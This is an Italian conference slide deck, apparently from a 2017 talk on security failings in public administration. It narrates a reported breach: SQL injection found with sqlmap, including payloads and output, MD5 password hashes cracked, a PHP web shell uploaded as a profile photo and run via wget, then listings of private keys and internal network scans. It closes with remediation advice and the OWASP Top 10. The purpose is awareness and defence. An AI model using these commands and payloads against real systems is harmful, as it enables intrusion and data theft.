View
962
Download
0
Embed Size (px)
Citation preview
(in)Sicurezza nella PA
Il Piano Triennale: verso il sistema operativo del paese Roma, 05/07/2017
Gianluca Varisco
• La storia di uno dei tanti problemi di sicurezza scoperti e segnalati
• Esempi pratici di vulnerabilità in applicativi web
• Cosa ci riserva il futuro
—
Agenda
SQLi (SQL injection)
È una tecnica di code injection molto comune con la quale vengono inserite delle stringhe di codice SQL malevole all’interno dei campi di input, es. form web
Due metodologie di difesa: • Approccio blacklist: ho una lista di caratteri non permessi. • Approccio whitelist: ho una lista di caratteri permessi.
SQLi (SQL injection)Esempio di SQLi:
$username=$_POST[‘username']; $password=$_POST['password']; $query="select username,password from users where username='$username' and password='$password' limit 1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo “Log-in OK" ; create_session(); }…
Typo3 e raccolta informazioni• Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3 • Una sezione del sito consente di gestire i dati del proprio profilo e di caricare
alcune informazioni legate alla propria amministrazione (form web) • Abbiamo letto la documentazione ufficiale, che riporta quanto segue:
SQLmapsqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc?id=180" -v 2 -D jupiter —tables
Parameter: id (GET)
Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=180 AND 2280=2280 Vector: AND [INFERENCE]
Type: AND/OR time-based blind Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI) Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
SQLi[16:46:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 6.5 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.12 [16:46:30] [INFO] fetching tables for database: 'jupiter' [16:46:30] [DEBUG] performed 0 queries in 0.01 seconds Database: jupiter [86 tables] +————————————————————+ | be_users | | […] | | fe_users | | […] | +————————————————————+
Hash crackingSELECT * from be_users; typoadmin,772bea9734a585d1a438ac2f7ee42b62, admin00,772bea9734a585d1a438ac2f7ee42b62, adminusr,772bea9734a585d1a438ac2f7ee42b62, “Cracking” (via hashes.org API o interfaccia web):
{"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" {“plain”:"iniziale","algorithm":"MD5"}}
Una volta ottenute le credenziali utente, accediamo alla sezione “gestione profilo” e provvediamo a caricare la nostra foto profilo. Tale foto, in realtà, contiene al suo interno del codice malevole PHP, con cui potremo eseguire comandi arbitrari sulla macchina target:
$ wget -nv https://www.ammcentrale.it/jupiter/filetest.php —post-data=“hello=id" -O - | tee -a log.txt
(Web) Shell access
Output (uname -a):Array ( [0] => Linux web1 2.6.32-573.7.1.el6.x86_64 #1 SMP Tue Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux )
Local Privilege Escalation
Output (ls): Array ( [1] => -rw-r--r-- 1 root root 9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz [2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz [3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz [4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz [5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz [6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz [7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015 jupiter_aziende_pre_prod20150725.tgz [8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz [9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz [10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www )
Data Exfiltration
Array ( [0] => total 64 [1] => drwxr-xr-x. 2 root root 4096 Jun 30 2015 . [2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 .. [3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key [4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr [5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt [6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key [7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr [8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key [9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt )
Data Exfiltration
Output (ifconfig): Array ( [0] => eth0 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:E4 [1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0 [2] => [.....] [..] [9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE [10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0 [2] => [.....] [...] )
Lateral Movement
Output (arp scan): Array ( [0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0 [1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0 [2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0 [3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1 [4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0 [5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0 [6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0 [….] )
Lateral Movement
Output (nmap): Array ( [0] => [1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01 15:33 CEST [2] => Initiating Ping Scan at 15:33 [3] => Scanning XXX hosts [2 ports/host]
Lateral Movement
• Vulnerabilità (SQLi) nell’applicazione web • Utilizzo di MD5 come funzione di hash crittografica • Utilizzo di password deboli • Sistema contenente informazioni sensibili al suo interno
(es. backup e chiavi private SSH, anche di altre macchine) • Assenza di segmentazione della rete • Mancato aggiornamento dei sistemi (no patch di sicurezza)
e versioni CMS presenti all’interno della rete obsolete
Cosa è andato storto?
• Sanitizzazione input • Utilizzo di funzioni di hash più sicure: bcrypt/scrypt • Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables) • Password policy adeguate (NIST Special Publication 800-63B - Digital
Identity Guidelines), 2-Factor Authentication • Cifratura backup locali e off-site backup • Logging/Auditing eventi • Aggiornamenti costanti CMS • Segmentazione adeguata della rete che riduca al minimo il
movimento laterale su altri sistemi
Cosa avrebbero dovuto fare?
Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti su internet vulnerabili a CVE-2014-0160
Heartbleed
Source: Shodan
• Versioni non aggiornate • Plug-in non aggiornati • Fork artigianali (™) non aggiornati
• PoC ed exploit (+ metasploit scanner[s]) facilmente reperibili
CMS
• Moltissimi, anche tra voi in questa stanza, si affidano sempre alle stesse password. Le usano ovunque.
• Utilizzate password manager (1Password, Lastpass, Keepass, etc.)
• Utilizzate password univoche per ogni servizio • Abilitate autenticazione a due fattori (2FA) ove disponibile
• Mancata rotazione delle password negli applicativi web • Salvataggio delle password all’interno dei database in chiaro o
con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.)
Problemi legati ai leak di pw
• Tanti dei nostri dati vengono periodicamente esposti in maniera scorretta su internet. • Database NoSQL senza livelli di autenticazione • Backend amministrativi vulnerabili (es. SQLi) o misconfigurati
(&& no HTTPS…) • Backend amministrativi PRIVI di autenticazione (o “factory
credentials”) • Ambienti di storage (eg. NAS) vulnerabili e non aggiornati • Volumi (Object-Storage) misconfigurati (ACL) all’interno di
ambienti cloud pubblici e privati
Data leakage
Vettori di attacco:
• Malware / Ransomware • Vulnerabilità su dispositivi
IoT • Vulnerabilità su ICS/Scada • Targeted Spear Phishing
Il futuro (?)
Settori maggiormente colpiti:
• Sanità • Automotive • Impianti Industriali • Infrastrutture critiche
ICS/Scada
• Sistemi di controllo industriali spesso: • esposti su internet per facilitarne l’accesso da remoto (es. per ricevere
assistenza tecnica) • privi di qualsiasi livello di autenticazione e non sviluppati per stare su
internet • Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali
• A1 - Injection • A2 - Broken Authentication and Session
Management • A3 - Cross-Site Scripting (XSS) • A4 - Broken Access Control • A5 - Security Misconfiguration • A6 - Sensitive Data Exposure • A7 - Insufficient Attack Protection • A8 - Cross-Site Request Forgery (CSRF) • A9 - Using Components with Known
Vulnerabilities • A10 - Underprotected APIs—
OWASP TOP 102017 (RC1)
Gianluca Varisco • Email: [email protected] • Twitter: @gvarisco • Medium: @gvarisco
Sito Web: https://teamdigitale.governo.it
—
Contatti